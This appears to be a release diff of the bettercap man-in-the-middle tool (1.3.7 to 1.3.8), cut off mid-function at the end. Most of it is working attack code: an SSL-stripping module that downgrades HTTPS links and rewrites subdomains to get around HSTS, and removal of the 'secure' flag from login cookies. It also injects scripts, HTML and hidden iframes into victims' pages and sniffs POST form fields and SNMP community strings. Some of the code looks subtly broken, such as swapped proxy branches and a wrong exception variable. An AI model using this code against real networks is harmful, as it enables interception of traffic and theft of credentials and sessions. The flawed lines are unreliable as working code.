bettercap 1.3.7 → 1.3.8
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/bettercap.rb +2 -3
- data/lib/bettercap/context.rb +8 -2
- data/lib/bettercap/logger.rb +14 -0
- data/lib/bettercap/network/protos/snmp.rb +49 -0
- data/lib/bettercap/options.rb +23 -36
- data/lib/bettercap/proxy/modules/injectcss.rb +1 -1
- data/lib/bettercap/proxy/modules/injecthtml.rb +1 -1
- data/lib/bettercap/proxy/modules/injectjs.rb +1 -1
- data/lib/bettercap/proxy/proxy.rb +11 -5
- data/lib/bettercap/proxy/request.rb +14 -1
- data/lib/bettercap/proxy/response.rb +18 -2
- data/lib/bettercap/proxy/sslstrip/cookiemonitor.rb +4 -0
- data/lib/bettercap/proxy/sslstrip/strip.rb +138 -25
- data/lib/bettercap/proxy/stream_logger.rb +78 -13
- data/lib/bettercap/proxy/streamer.rb +10 -2
- data/lib/bettercap/sniffer/parsers/post.rb +1 -16
- data/lib/bettercap/sniffer/parsers/snmp.rb +44 -0
- data/lib/bettercap/sniffer/sniffer.rb +26 -16
- data/lib/bettercap/spoofers/arp.rb +4 -1
- data/lib/bettercap/version.rb +1 -1
- metadata +4 -3
- data/lib/bettercap/proxy/sslstrip/urlmonitor.rb +0 -53
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 97b1b49dc607820e776704bce9ca73d9bcb55b0b
|
4
|
+
data.tar.gz: 194f31c34fecf4695f9b7a5728cebcab3a1bc0f2
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: f2eff4d44d1e1db62e406de421c458c97e9a8cba55d554ad2465d7cb019b488f8e961f8e5a304865c8e9a390df343cddb32d87585a99979d1279d4a832cc1498
|
7
|
+
data.tar.gz: 24249e328e6ffb0a082d7058d0aacdaa6c75fdec75e820274d266f0f41a6686c781b4a91141fa52aa2bf9b6a1caf935ec6b5880ec42b6f4f7c95dd2087d078d5
|
data/lib/bettercap.rb
CHANGED
@@ -27,7 +27,7 @@ require 'uri'
|
|
27
27
|
Object.send :remove_const, :Config rescue nil
|
28
28
|
Config = RbConfig
|
29
29
|
|
30
|
-
def
|
30
|
+
def bettercap_autoload( path = '' )
|
31
31
|
dir = File.dirname(__FILE__) + "/bettercap/#{path}"
|
32
32
|
deps = []
|
33
33
|
files = []
|
@@ -47,7 +47,6 @@ def autoload( path = '' )
|
|
47
47
|
( deps + files ).each do |file|
|
48
48
|
require file
|
49
49
|
end
|
50
|
-
|
51
50
|
end
|
52
51
|
|
53
|
-
|
52
|
+
bettercap_autoload
|
data/lib/bettercap/context.rb
CHANGED
@@ -60,7 +60,7 @@ class Context
|
|
60
60
|
iface = PCAPRUB::Pcap.lookupdev
|
61
61
|
rescue Exception => e
|
62
62
|
iface = nil
|
63
|
-
Logger.
|
63
|
+
Logger.exception e
|
64
64
|
end
|
65
65
|
|
66
66
|
@running = true
|
@@ -156,6 +156,10 @@ class Context
|
|
156
156
|
end
|
157
157
|
end
|
158
158
|
|
159
|
+
def post_sniffer_enabled?
|
160
|
+
( @options.sniffer and @options.parsers.include?('POST') )
|
161
|
+
end
|
162
|
+
|
159
163
|
# Stop every running daemon that was started and reset system state.
|
160
164
|
def finalize
|
161
165
|
@running = false
|
@@ -196,7 +200,7 @@ class Context
|
|
196
200
|
|
197
201
|
# Apply needed BetterCap::Firewalls::Redirection objects.
|
198
202
|
def enable_port_redirection!
|
199
|
-
@redirections = @options.
|
203
|
+
@redirections = @options.get_redirections(@ifconfig)
|
200
204
|
@redirections.each do |r|
|
201
205
|
Logger.debug "Redirecting #{r.protocol} traffic from port #{r.src_port} to #{r.dst_address}:#{r.dst_port}"
|
202
206
|
@firewall.add_port_redirection( r )
|
@@ -231,6 +235,8 @@ class Context
|
|
231
235
|
end
|
232
236
|
rescue Exception => e
|
233
237
|
Logger.warn "Error with proxy module: #{e.message}"
|
238
|
+
Logger.exception e
|
239
|
+
|
234
240
|
response = original
|
235
241
|
end
|
236
242
|
end
|
data/lib/bettercap/logger.rb
CHANGED
@@ -37,6 +37,20 @@ module Logger
|
|
37
37
|
@@ctx = Context.get
|
38
38
|
end
|
39
39
|
|
40
|
+
# Log the exception +e+, if this is a beta version, log it as a warning,
|
41
|
+
# otherwise as a debug message.
|
42
|
+
def exception(e)
|
43
|
+
msg = "Exception : #{e.class}\n" +
|
44
|
+
"Message : #{e.message}\n" +
|
45
|
+
"Backtrace :\n\n #{e.backtrace.join("\n ")}\n"
|
46
|
+
|
47
|
+
if BetterCap::VERSION.end_with?('b')
|
48
|
+
self.warn(msg)
|
49
|
+
else
|
50
|
+
self.debug(msg)
|
51
|
+
end
|
52
|
+
end
|
53
|
+
|
40
54
|
# Log an error +message+.
|
41
55
|
def error(message)
|
42
56
|
@@queue.push formatted_message(message, 'E').red
|
@@ -0,0 +1,49 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
SNMP network protos:
|
11
|
+
Author : Matteo Cantoni
|
12
|
+
Email : matteo.cantoni@nothink.org
|
13
|
+
|
14
|
+
This project is released under the GPL 3 license.
|
15
|
+
|
16
|
+
Todo:
|
17
|
+
- add SNMPv1 PDU structure
|
18
|
+
- add SNMPv2 support
|
19
|
+
|
20
|
+
=end
|
21
|
+
|
22
|
+
module BetterCap
|
23
|
+
module Network
|
24
|
+
module Protos
|
25
|
+
module SNMP
|
26
|
+
|
27
|
+
# https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
|
28
|
+
# http://docwiki.cisco.com/wiki/Simple_Network_Management_Protocol
|
29
|
+
class Packet < Network::Protos::Base
|
30
|
+
|
31
|
+
#0000 30 29 02 01 00 04 06 70 75 62 6c 69 63 a1 1c 02
|
32
|
+
#0010 04 36 eb 8d d1 02 01 00 02 01 00 30 0e 30 0c 06
|
33
|
+
#0020 08 2b 06 01 02 01 01 01 00 05 00
|
34
|
+
|
35
|
+
uint16 :snmp_asn_decode # 30 29
|
36
|
+
|
37
|
+
uint8 :snmp_version_type # 02
|
38
|
+
uint8 :snmp_version_length # 01
|
39
|
+
uint8 :snmp_version_number # 00
|
40
|
+
|
41
|
+
uint8 :snmp_community_type # 04
|
42
|
+
uint8 :snmp_community_length # 06
|
43
|
+
bytes :snmp_community_string, :size => :snmp_community_length # 70 75 62 6c 69 63
|
44
|
+
end
|
45
|
+
|
46
|
+
end
|
47
|
+
end
|
48
|
+
end
|
49
|
+
end
|
data/lib/bettercap/options.rb
CHANGED
@@ -184,7 +184,7 @@ class Options
|
|
184
184
|
end
|
185
185
|
|
186
186
|
opts.on( '--ignore ADDRESS1,ADDRESS2', 'Ignore these addresses if found while searching for targets.' ) do |v|
|
187
|
-
ctx.options.
|
187
|
+
ctx.options.parse_ignore!(v)
|
188
188
|
end
|
189
189
|
|
190
190
|
opts.on( '-O', '--log LOG_FILE', 'Log all messages into a file, if not specified the log messages will be only print into the shell.' ) do |v|
|
@@ -269,11 +269,11 @@ class Options
|
|
269
269
|
end
|
270
270
|
|
271
271
|
opts.on( '--http-ports PORT1,PORT2', 'Comma separated list of HTTP ports to redirect to the proxy, default to ' + ctx.options.http_ports.join(', ') + ' .' ) do |v|
|
272
|
-
ctx.options.http_ports = v
|
272
|
+
ctx.options.http_ports = ctx.options.parse_ports( v )
|
273
273
|
end
|
274
274
|
|
275
275
|
opts.on( '--https-ports PORT1,PORT2', 'Comma separated list of HTTPS ports to redirect to the proxy, default to ' + ctx.options.https_ports.join(', ') + ' .' ) do |v|
|
276
|
-
ctx.options.https_ports = v
|
276
|
+
ctx.options.https_ports = ctx.options.parse_ports( v )
|
277
277
|
end
|
278
278
|
|
279
279
|
opts.on( '--proxy-https-port PORT', 'Set HTTPS proxy port, default to ' + ctx.options.proxy_https_port.to_s + ' .' ) do |v|
|
@@ -293,7 +293,7 @@ class Options
|
|
293
293
|
end
|
294
294
|
|
295
295
|
opts.on( '--custom-proxy ADDRESS', 'Use a custom HTTP upstream proxy instead of the builtin one.' ) do |v|
|
296
|
-
ctx.options.
|
296
|
+
ctx.options.parse_custom_proxy!(v)
|
297
297
|
end
|
298
298
|
|
299
299
|
opts.on( '--custom-proxy-port PORT', 'Specify a port for the custom HTTP upstream proxy, default to ' + ctx.options.custom_proxy_port.to_s + ' .' ) do |v|
|
@@ -305,7 +305,7 @@ class Options
|
|
305
305
|
end
|
306
306
|
|
307
307
|
opts.on( '--custom-https-proxy ADDRESS', 'Use a custom HTTPS upstream proxy instead of the builtin one.' ) do |v|
|
308
|
-
ctx.options.
|
308
|
+
ctx.options.parse_custom_proxy!( v, true )
|
309
309
|
end
|
310
310
|
|
311
311
|
opts.on( '--custom-https-proxy-port PORT', 'Specify a port for the custom HTTPS upstream proxy, default to ' + ctx.options.custom_https_proxy_port.to_s + ' .' ) do |v|
|
@@ -374,7 +374,7 @@ class Options
|
|
374
374
|
end
|
375
375
|
|
376
376
|
unless ctx.options.target.nil?
|
377
|
-
ctx.targets = ctx.options.
|
377
|
+
ctx.targets = ctx.options.parse_targets
|
378
378
|
end
|
379
379
|
|
380
380
|
# Load firewall instance, network interface informations and detect the
|
@@ -382,7 +382,7 @@ class Options
|
|
382
382
|
ctx.update!
|
383
383
|
|
384
384
|
# Spoofers need the context network data to be initialized.
|
385
|
-
ctx.spoofer = ctx.options.
|
385
|
+
ctx.spoofer = ctx.options.parse_spoofers
|
386
386
|
|
387
387
|
ctx
|
388
388
|
end
|
@@ -412,9 +412,11 @@ class Options
|
|
412
412
|
!@ignore.nil? and @ignore.include?(ip)
|
413
413
|
end
|
414
414
|
|
415
|
+
# Parsing Routines
|
416
|
+
|
415
417
|
# Setter for the #ignore attribute, will raise a BetterCap::Error if one
|
416
418
|
# or more invalid IP addresses are specified.
|
417
|
-
def
|
419
|
+
def parse_ignore!(value)
|
418
420
|
@ignore = value.split(",")
|
419
421
|
valid = @ignore.select { |target| Network.is_ip?(target) }
|
420
422
|
|
@@ -430,23 +432,20 @@ class Options
|
|
430
432
|
Logger.warn "Ignoring #{valid.join(", ")} ."
|
431
433
|
end
|
432
434
|
|
433
|
-
# Setter for the #custom_proxy attribute, will raise a
|
434
|
-
# +value+ is not a valid IP address.
|
435
|
-
def
|
436
|
-
|
437
|
-
|
438
|
-
|
439
|
-
|
440
|
-
|
441
|
-
|
442
|
-
def custom_https_proxy=(value)
|
443
|
-
@custom_https_proxy = value
|
444
|
-
raise BetterCap::Error, 'Invalid custom HTTPS upstream proxy address specified.' unless Network.is_ip? @custom_https_proxy
|
435
|
+
# Setter for the #custom_proxy or #custom_https_proxy attribute, will raise a
|
436
|
+
# BetterCap::Error if +value+ is not a valid IP address.
|
437
|
+
def parse_custom_proxy!(value, https=false)
|
438
|
+
raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network.is_ip?(value)
|
439
|
+
if https
|
440
|
+
@custom_proxy = value
|
441
|
+
else
|
442
|
+
@custom_https_proxy = value
|
443
|
+
end
|
445
444
|
end
|
446
445
|
|
447
446
|
# Parse a comma separated list of ports and return an array containing only
|
448
447
|
# valid ports, raise BetterCap::Error if that array is empty.
|
449
|
-
def
|
448
|
+
def parse_ports(value)
|
450
449
|
ports = []
|
451
450
|
value.split(",").each do |v|
|
452
451
|
v = v.strip.to_i
|
@@ -458,21 +457,9 @@ class Options
|
|
458
457
|
ports
|
459
458
|
end
|
460
459
|
|
461
|
-
# Setter for the #http_ports attribute, will raise a BetterCap::Error if +value+
|
462
|
-
# is not a valid comma separated list of ports.
|
463
|
-
def http_ports=(value)
|
464
|
-
@http_ports = to_ports(value)
|
465
|
-
end
|
466
|
-
|
467
|
-
# Setter for the #https_ports attribute, will raise a BetterCap::Error if +value+
|
468
|
-
# is not a valid comma separated list of ports.
|
469
|
-
def https_ports=(value)
|
470
|
-
@https_ports = to_ports(value)
|
471
|
-
end
|
472
|
-
|
473
460
|
# Split specified targets and parse them ( either as IP or MAC ), will raise a
|
474
461
|
# BetterCap::Error if one or more invalid addresses are specified.
|
475
|
-
def
|
462
|
+
def parse_targets
|
476
463
|
targets = @target.split(",")
|
477
464
|
valid_targets = targets.select { |target| Network.is_ip?(target) or Network.is_mac?(target) }
|
478
465
|
|
@@ -488,7 +475,7 @@ class Options
|
|
488
475
|
|
489
476
|
# Parse spoofers and return a list of BetterCap::Spoofers objects. Raise a
|
490
477
|
# BetterCap::Error if an invalid spoofer name was specified.
|
491
|
-
def
|
478
|
+
def parse_spoofers
|
492
479
|
spoofers = []
|
493
480
|
spoofer_modules_names = @spoofer.split(",")
|
494
481
|
spoofer_modules_names.each do |module_name|
|
@@ -504,7 +491,7 @@ class Options
|
|
504
491
|
|
505
492
|
# Create a list of BetterCap::Firewalls::Redirection objects which are needed
|
506
493
|
# given the specified command line arguments.
|
507
|
-
def
|
494
|
+
def get_redirections ifconfig
|
508
495
|
redirections = []
|
509
496
|
|
510
497
|
if @dnsd
|
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
|
59
|
+
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
|
60
60
|
# inject URL
|
61
61
|
if @@cssdata.nil?
|
62
62
|
response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
|
@@ -44,7 +44,7 @@ class InjectHTML < BetterCap::Proxy::Module
|
|
44
44
|
def on_request( request, response )
|
45
45
|
# is it a html page?
|
46
46
|
if response.content_type =~ /^text\/html.*/
|
47
|
-
BetterCap::Logger.info "Injecting HTML code into http://#{request.host}#{request.url}"
|
47
|
+
BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into http://#{request.host}#{request.url}"
|
48
48
|
|
49
49
|
if @@data.nil?
|
50
50
|
response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
|
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
|
59
|
+
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
|
60
60
|
# inject URL
|
61
61
|
if @@jsdata.nil?
|
62
62
|
response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
|
@@ -121,8 +121,11 @@ class Proxy
|
|
121
121
|
|
122
122
|
request.read(client)
|
123
123
|
|
124
|
+
# stripped request
|
125
|
+
if @streamer.was_stripped?( request, client )
|
126
|
+
@streamer.handle( request, client )
|
124
127
|
# someone is having fun with us =)
|
125
|
-
|
128
|
+
elsif is_self_request? request
|
126
129
|
@streamer.rickroll( client, @is_https )
|
127
130
|
# handle request
|
128
131
|
else
|
@@ -131,11 +134,14 @@ class Proxy
|
|
131
134
|
|
132
135
|
Logger.debug "#{@type} client served."
|
133
136
|
|
137
|
+
rescue SocketError => se
|
138
|
+
Logger.debug "Socket error while serving client: #{e.message}"
|
139
|
+
Logger.exception e
|
140
|
+
rescue Errno::EPIPE => ep
|
141
|
+
Logger.debug "Connection closed while serving client."
|
134
142
|
rescue Exception => e
|
135
|
-
|
136
|
-
|
137
|
-
Logger.debug e.backtrace.join("\n")
|
138
|
-
end
|
143
|
+
Logger.warn "Error while serving client: #{e.message}"
|
144
|
+
Logger.exception e
|
139
145
|
end
|
140
146
|
|
141
147
|
client.close
|
@@ -143,11 +143,18 @@ class Request
|
|
143
143
|
@lines.join("\n") + "\n" + ( @body || '' )
|
144
144
|
end
|
145
145
|
|
146
|
+
def base_url
|
147
|
+
schema = if port == 443 then 'https' else 'http' end
|
148
|
+
"#{schema}://#{@host}/"
|
149
|
+
end
|
150
|
+
|
146
151
|
# Return the full request URL trimming it at +max_length+ characters.
|
147
152
|
def to_url(max_length = 50)
|
148
153
|
schema = if port == 443 then 'https' else 'http' end
|
149
154
|
url = "#{schema}://#{@host}#{@url}"
|
150
|
-
|
155
|
+
unless max_length.nil?
|
156
|
+
url = url.slice(0..max_length) + '...' unless url.length <= max_length
|
157
|
+
end
|
151
158
|
url
|
152
159
|
end
|
153
160
|
|
@@ -174,10 +181,16 @@ class Request
|
|
174
181
|
end
|
175
182
|
end
|
176
183
|
|
184
|
+
if name == 'Host'
|
185
|
+
@host = value
|
186
|
+
end
|
187
|
+
|
177
188
|
if !found and !value.nil?
|
178
189
|
@headers[name] = value
|
179
190
|
@lines << "#{name}: #{value}"
|
180
191
|
end
|
192
|
+
|
193
|
+
@lines.reject!(&:empty?)
|
181
194
|
end
|
182
195
|
end
|
183
196
|
end
|
@@ -24,7 +24,7 @@ class Response
|
|
24
24
|
# True if this is a chunked encoded response, otherwise false.
|
25
25
|
attr_reader :chunked
|
26
26
|
# A list of response headers.
|
27
|
-
|
27
|
+
attr_accessor :headers
|
28
28
|
# Response status code.
|
29
29
|
attr_accessor :code
|
30
30
|
# True if the parser finished to parse the headers, otherwise false.
|
@@ -81,7 +81,15 @@ class Response
|
|
81
81
|
def convert_webrick_response!(response)
|
82
82
|
self << "HTTP/#{response.http_version} #{response.code} #{response.msg}"
|
83
83
|
response.each do |key,value|
|
84
|
-
|
84
|
+
# sometimes webrick joins all 'set-cookie' headers
|
85
|
+
# which might cause issues with HSTS bypass.
|
86
|
+
if key == 'set-cookie'
|
87
|
+
response.get_fields('set-cookie').each do |v|
|
88
|
+
self << "Set-Cookie: #{v}"
|
89
|
+
end
|
90
|
+
else
|
91
|
+
self << "#{key.gsub(/\bwww|^te$|\b\w/){ $&.upcase }}: #{value}"
|
92
|
+
end
|
85
93
|
end
|
86
94
|
self << "\n"
|
87
95
|
@code = response.code
|
@@ -158,6 +166,14 @@ class Response
|
|
158
166
|
end
|
159
167
|
end
|
160
168
|
|
169
|
+
def each_header(name)
|
170
|
+
@headers.each_with_index do |header,i|
|
171
|
+
if header =~ /^#{name}:\s*(.+)$/i
|
172
|
+
yield( $1, i )
|
173
|
+
end
|
174
|
+
end
|
175
|
+
end
|
176
|
+
|
161
177
|
# Return a string representation of this response object, patching the
|
162
178
|
# Content-Length header if the #body was modified.
|
163
179
|
def to_s
|
@@ -15,6 +15,73 @@ module BetterCap
|
|
15
15
|
module Proxy
|
16
16
|
module SSLStrip
|
17
17
|
|
18
|
+
# Represent a stripped url associated to the client that requested it.
|
19
|
+
class StrippedObject
|
20
|
+
# The stripped request client address.
|
21
|
+
attr_accessor :client
|
22
|
+
# The original URL.
|
23
|
+
attr_accessor :original
|
24
|
+
# The stripped version of the URL.
|
25
|
+
attr_accessor :stripped
|
26
|
+
|
27
|
+
# Known subdomains to replace.
|
28
|
+
SUBDOMAIN_REPLACES = {
|
29
|
+
'www' => 'wwwww',
|
30
|
+
'webmail' => 'wwebmail',
|
31
|
+
'mail' => 'wmail'
|
32
|
+
}.freeze
|
33
|
+
|
34
|
+
# Create an instance with the given arguments.
|
35
|
+
def initialize( client, original, stripped )
|
36
|
+
@client = client
|
37
|
+
@original = original
|
38
|
+
@stripped = stripped
|
39
|
+
end
|
40
|
+
|
41
|
+
# Return a normalized version of +url+.
|
42
|
+
def self.normalize( url, schema = 'https' )
|
43
|
+
# add schema if needed
|
44
|
+
unless url.include?('://')
|
45
|
+
url = "#{schema}://#{url}"
|
46
|
+
end
|
47
|
+
# add path if needed
|
48
|
+
unless url.end_with?('/')
|
49
|
+
url = "#{url}/"
|
50
|
+
end
|
51
|
+
url
|
52
|
+
end
|
53
|
+
|
54
|
+
# Downgrade +url+ from HTTPS to HTTP.
|
55
|
+
# Will take care of HSTS bypass urls in a near future.
|
56
|
+
def self.strip( url )
|
57
|
+
# first thing first, downgrade the protocol schema
|
58
|
+
stripped = url.gsub( 'https://', 'http://' )
|
59
|
+
# search for a known subdomain and replace it
|
60
|
+
found = false
|
61
|
+
SUBDOMAIN_REPLACES.each do |from,to|
|
62
|
+
if stripped.include?( "://#{from}." )
|
63
|
+
stripped = stripped.gsub( "://#{from}.", "://#{to}." )
|
64
|
+
found = true
|
65
|
+
break
|
66
|
+
end
|
67
|
+
end
|
68
|
+
# fallback, prepend custom 'wwwww.'
|
69
|
+
unless found
|
70
|
+
stripped.gsub!( '://', '://wwwww.' )
|
71
|
+
end
|
72
|
+
|
73
|
+
Logger.debug "[#{'SSLSTRIP'.green} '#{url}' -> '#{stripped}'"
|
74
|
+
|
75
|
+
stripped
|
76
|
+
end
|
77
|
+
|
78
|
+
def self.process( url )
|
79
|
+
normalized = self.normalize(url)
|
80
|
+
stripped = self.strip(normalized)
|
81
|
+
[ normalized, stripped ]
|
82
|
+
end
|
83
|
+
end
|
84
|
+
|
18
85
|
# Handle SSL stripping.
|
19
86
|
class Strip
|
20
87
|
# Maximum number of redirects to detect a HTTPS redirect loop.
|
@@ -24,9 +91,29 @@ class Strip
|
|
24
91
|
|
25
92
|
# Create an instance of this object.
|
26
93
|
def initialize
|
27
|
-
@
|
28
|
-
@cookies
|
29
|
-
@favicon
|
94
|
+
@stripped = []
|
95
|
+
@cookies = CookieMonitor.new
|
96
|
+
@favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
|
97
|
+
end
|
98
|
+
|
99
|
+
# Return true if the +request+ was stripped.
|
100
|
+
def was_stripped?(request)
|
101
|
+
url = request.base_url
|
102
|
+
@stripped.each do |s|
|
103
|
+
if s.client == request.client and s.stripped == url
|
104
|
+
return true
|
105
|
+
end
|
106
|
+
end
|
107
|
+
false
|
108
|
+
end
|
109
|
+
|
110
|
+
def unstrip( request, url )
|
111
|
+
@stripped.each do |s|
|
112
|
+
if s.client == request.client and s.stripped == url
|
113
|
+
return s.original
|
114
|
+
end
|
115
|
+
end
|
116
|
+
url
|
30
117
|
end
|
31
118
|
|
32
119
|
# Check if the +request+ is a result of a stripped link/redirect and handle
|
@@ -86,18 +173,30 @@ class Strip
|
|
86
173
|
# If the +request+ is a result of a sslstripping operation,
|
87
174
|
# proxy it via SSL.
|
88
175
|
def process_stripped!(request)
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
|
176
|
+
if request.port == 80 and was_stripped?(request)
|
177
|
+
# i.e: wwww.facebook.com
|
178
|
+
stripped = request['Host']
|
179
|
+
# i.e: http://wwww.facebook.com/
|
180
|
+
url = StrippedObject.normalize( stripped, 'http' )
|
181
|
+
# i.e: www.facebook.com
|
182
|
+
unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub('/', '' )
|
183
|
+
|
184
|
+
# loop each header and fix the stripped url if needed,
|
185
|
+
# this will fix headers such as Host, Referer, Origin, etc.
|
186
|
+
request.headers.each do |name,value|
|
187
|
+
if value.include?(stripped)
|
188
|
+
request[name] = value.gsub( stripped, unstripped ).gsub( 'http://', 'https://')
|
189
|
+
end
|
190
|
+
end
|
93
191
|
request.port = 443
|
192
|
+
|
193
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{url}', proxying via SSL ( #{request.to_url} )."
|
94
194
|
end
|
95
195
|
end
|
96
196
|
|
97
197
|
# If +request+ is the favicon of a stripped host, send our spoofed lock icon.
|
98
198
|
def spoof_favicon!(request)
|
99
|
-
|
100
|
-
if @urls.was_stripped?( request.client, link ) and is_favicon?(request)
|
199
|
+
if was_stripped?(request) and is_favicon?(request)
|
101
200
|
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending spoofed favicon '#{request.to_url }'."
|
102
201
|
return @favicon
|
103
202
|
end
|
@@ -114,17 +213,34 @@ class Strip
|
|
114
213
|
def process_redirection!(request,response)
|
115
214
|
# check for a redirect
|
116
215
|
if response['Location'].start_with?('https://')
|
117
|
-
|
118
|
-
|
119
|
-
@
|
216
|
+
original, stripped = StrippedObject.process( response['Location'] )
|
217
|
+
|
218
|
+
@stripped << StrippedObject.new( request.client, original, stripped )
|
120
219
|
|
121
|
-
# The request will be retried on port 443 if MAX_REDIRECTS is not reached.
|
122
|
-
request.port = 443
|
123
220
|
# If MAX_REDIRECTS is reached, the 'Location' header will be used.
|
124
|
-
response['Location'] =
|
221
|
+
response['Location'] = stripped
|
125
222
|
|
126
|
-
#
|
127
|
-
|
223
|
+
# no cookies set, just a normal http -> https redirect
|
224
|
+
if response['Set-Cookie'].empty?
|
225
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS '#{original}' -> '#{stripped}'."
|
226
|
+
|
227
|
+
# The request will be retried on port 443 if MAX_REDIRECTS is not reached.
|
228
|
+
request.port = 443
|
229
|
+
# retry the request if possible
|
230
|
+
return true
|
231
|
+
# cookies set, this is probably a redirect after a login.
|
232
|
+
else
|
233
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS ( with cookies ) '#{original}' -> '#{stripped}'."
|
234
|
+
# we know this session, do not kill it!
|
235
|
+
@cookies.add!( request )
|
236
|
+
# remove the 'secure' descriptor from every cookie
|
237
|
+
response.each_header('Set-Cookie') do |value,i|
|
238
|
+
response.headers[i] = "Set-Cookie: #{value.gsub( /secure/, '' )}"
|
239
|
+
end
|
240
|
+
|
241
|
+
# do not retry request
|
242
|
+
return false
|
243
|
+
end
|
128
244
|
end
|
129
245
|
false
|
130
246
|
end
|
@@ -136,22 +252,19 @@ class Strip
|
|
136
252
|
begin
|
137
253
|
response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
|
138
254
|
if link[0].include?('.')
|
139
|
-
|
140
|
-
downgraded = @urls.downgrade( link )
|
141
|
-
|
142
|
-
links << [link, downgraded]
|
255
|
+
links << StrippedObject.process( link[0] )
|
143
256
|
end
|
144
257
|
end
|
145
258
|
# handle errors due to binary content
|
146
259
|
rescue; end
|
147
260
|
|
148
261
|
unless links.empty?
|
149
|
-
Logger.
|
262
|
+
Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
|
150
263
|
|
151
264
|
links.each do |l|
|
152
|
-
|
153
|
-
@
|
154
|
-
response.body.gsub!(
|
265
|
+
original, stripped = l
|
266
|
+
@stripped << StrippedObject.new( request.client, original, stripped )
|
267
|
+
response.body.gsub!( original, stripped )
|
155
268
|
end
|
156
269
|
end
|
157
270
|
end
|
@@ -10,7 +10,9 @@ Blog : http://www.evilsocket.net/
|
|
10
10
|
This project is released under the GPL 3 license.
|
11
11
|
|
12
12
|
=end
|
13
|
-
require '
|
13
|
+
require 'zlib'
|
14
|
+
require 'stringio'
|
15
|
+
require 'json'
|
14
16
|
|
15
17
|
module BetterCap
|
16
18
|
# Raw or http streams pretty logging.
|
@@ -30,18 +32,16 @@ class StreamLogger
|
|
30
32
|
# its compact string representation ( @see BetterCap::Target#to_s_compact ).
|
31
33
|
def self.addr2s( addr, alt = nil )
|
32
34
|
ctx = Context.get
|
33
|
-
|
35
|
+
# check for the local address
|
34
36
|
return 'local' if addr == ctx.ifconfig[:ip_saddr]
|
35
|
-
|
37
|
+
# is it a known target?
|
36
38
|
target = ctx.find_target addr, nil
|
37
39
|
return target.to_s_compact unless target.nil?
|
38
|
-
|
39
|
-
if addr == '0.0.0.0' and !alt.nil?
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
end
|
44
|
-
|
40
|
+
# fix 0.0.0.0 if alt argument was specified
|
41
|
+
return alt if addr == '0.0.0.0' and !alt.nil?
|
42
|
+
# fix broadcast -> *
|
43
|
+
return '*' if addr == '255.255.255.255'
|
44
|
+
# nothing found, return the address as it is
|
45
45
|
addr
|
46
46
|
end
|
47
47
|
|
@@ -74,21 +74,82 @@ class StreamLogger
|
|
74
74
|
to = self.addr2s( pkt.ip_daddr, pkt.eth2s(:dst) )
|
75
75
|
|
76
76
|
if pkt.respond_to?('tcp_dst')
|
77
|
-
to += ':' + self.service( :tcp, pkt.tcp_dst ).to_s
|
77
|
+
to += ':' + self.service( :tcp, pkt.tcp_dst ).to_s.light_blue
|
78
78
|
elsif pkt.respond_to?('udp_dst')
|
79
|
-
to += ':' + self.service( :udp, pkt.udp_dst ).to_s
|
79
|
+
to += ':' + self.service( :udp, pkt.udp_dst ).to_s.light_blue
|
80
80
|
end
|
81
81
|
|
82
82
|
Logger.raw( "[#{from} > #{to}] [#{label.green}]#{nl}#{payload.strip}" )
|
83
83
|
end
|
84
84
|
|
85
|
+
def self.dump_form( request )
|
86
|
+
msg = ''
|
87
|
+
request.body.split('&').each do |v|
|
88
|
+
name, value = v.split('=')
|
89
|
+
name ||= ''
|
90
|
+
value ||= ''
|
91
|
+
msg << " #{name.blue} : #{URI.unescape(value).yellow}\n"
|
92
|
+
end
|
93
|
+
msg
|
94
|
+
end
|
95
|
+
|
96
|
+
def self.dump_raw( data )
|
97
|
+
msg = ''
|
98
|
+
data.each_byte do |b|
|
99
|
+
